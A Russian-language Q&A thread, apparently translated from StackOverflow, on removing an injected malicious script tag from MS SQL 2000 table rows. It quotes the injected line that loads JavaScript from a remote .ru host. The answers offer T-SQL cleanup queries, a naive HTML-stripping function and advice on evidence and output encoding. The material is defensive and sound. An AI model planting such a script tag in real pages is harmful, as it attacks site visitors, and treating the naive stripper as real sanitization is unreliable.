Не удалось удалить внедренный скрипт из строк базы данных - PullRequest
1 голос
/ 29 октября 2009

Мне передали базу данных MS SQL 2000, в которую было введено вредоносное ПО. Вредоносный скрипт выглядит следующим образом:

<script src=http://www.someAddress.ru/aScript.js></script>

Теперь я хочу удалить этот кусок кода из строк таблицы.

В качестве теста я ввел Test в строку и успешно выполнил следующий запрос:

UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;

Это убрало тег h1.

Но попытка сделать то же самое с тегом script не работает:

UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2

Почему это не работает?

ОБНОВЛЕНИЕ 2
WOHO! Я нашел решение! Я использую следующий код, который нашел здесь: http://www.tek -tips.com / viewthread.cfm? Qid = 1563568 & page = 3

-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
    (@HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
            AS
    BEGIN
    DECLARE @Start  INT
    DECLARE @End    INT
    DECLARE @Length INT
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
    WHILE @Start > 0 
                AND @End > 0 
            AND @Length > 0
        BEGIN
        SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'')
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
        END
    RETURN Replace(LTRIM(RTRIM(@HTMLText)),'&nbsp;',' ')
    END
GO

Чтобы удалить теги / скрипты HTML, я запускаю следующий запрос:

UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;

Это работает отлично. Обратите внимание, что этот скрипт удаляет ВСЕ HTML. Поэтому, если я хочу удалить только , я просто заменяю «<» на «<script». </p>

Ответы [ 6 ]

1 голос
/ 29 октября 2009

Почему бы не попробовать:

UPDATE myTable
set description = REPLACE (description, 'www.someAddress.ru','localhost')
WHERE id = 2

Это устранило бы проблему немедленного угона и, скорее всего, позволило бы избежать проблем с разрывом строки / символами в стиле фанк.

1 голос
/ 29 октября 2009

Не будет ли значение атрибута src заключено в кавычки? Если это так, вы должны были бы избежать их, чтобы получить правильное соответствие на замену.

1 голос
/ 29 октября 2009

Должно работать, если там нет других скрытых символов, которые вы не видите, или происходит какая-то кодировка. Можете ли вы выбрать подозрительную строку, чтобы посмотреть на нее поближе.

Я бы, по возможности, полностью DELETE FROM myTable WHERE description LIKE '%someAddress.ru%'.

Однако исправление базы данных не является реальным решением; приложение должно быть исправлено. Он никогда не должен выводить текст из базы данных в незашифрованном виде. Если кто-то вводит некоторые данные, включая строку <script>, они должны просто отображаться на странице в виде буквенной строки <script> или в источнике &lt;script>.

1 голос
/ 29 октября 2009

Вы пытались искать только aScript.js, запись может быть url_encoded или что-то похожее, поэтому она дает что-то вроде

%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E 

Перечитать вопрос

Вы имеете в виду, что даже если у вас есть тег script в столбце с id = 2, он не работает? Потому что, если он не работает, вы уверены, что он существует в строке с id = 2? : Р

0 голосов
/ 29 октября 2009

Вы можете попробовать следующее, чтобы убрать код из вашего поля (я предполагаю, что у вас есть информация в том же поле, которое вы хотите сохранить):

update myTable
set description = case when PATINDEX('%<script%', notes) > 0 
        then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
        else notes
        end
where id=2

Вы могли бы сначала выполнить select, чтобы увидеть, является ли значение, возвращаемое оператором CASE, правильным перед запуском обновления. Однако это не должно влиять на поля без тега скрипта.

0 голосов
/ 29 октября 2009

Держись ...

Связана ли база данных с финансовой системой? Это приложение под Сарбейнса-Оксли? Было ли совершено какое-либо мошенничество?

Любая из этих вещей не позволяет вам вносить изменения, которые "уничтожают доказательства". Эти маленькие парни бегают с "ФБР" на куртках, к этому не относятся. Было бы неплохо сделать резервную копию, а также журналы (SQL и Web) и поместить эту резервную копию на несколько DVD. Было бы лучше вынуть диск и вставить другой (но это не вариант).

Переходя к очищению: Направление Бобинса является правильным. Не ищите весь тег SCRIPT и не пытайтесь найти варианты. Вместо этого найдите в теге сценария что-то, что не является частью обычного набора данных. Это то, что вы выключаете. Если он ВЫБИРАЕТ все в порядке, то превратите его в УДАЛИТЬ и сохраните этот запрос, потому что он понадобится вам, когда вы перейдете к исправлению приложения (гарантировано, что ваша база данных снова будет повреждена).

...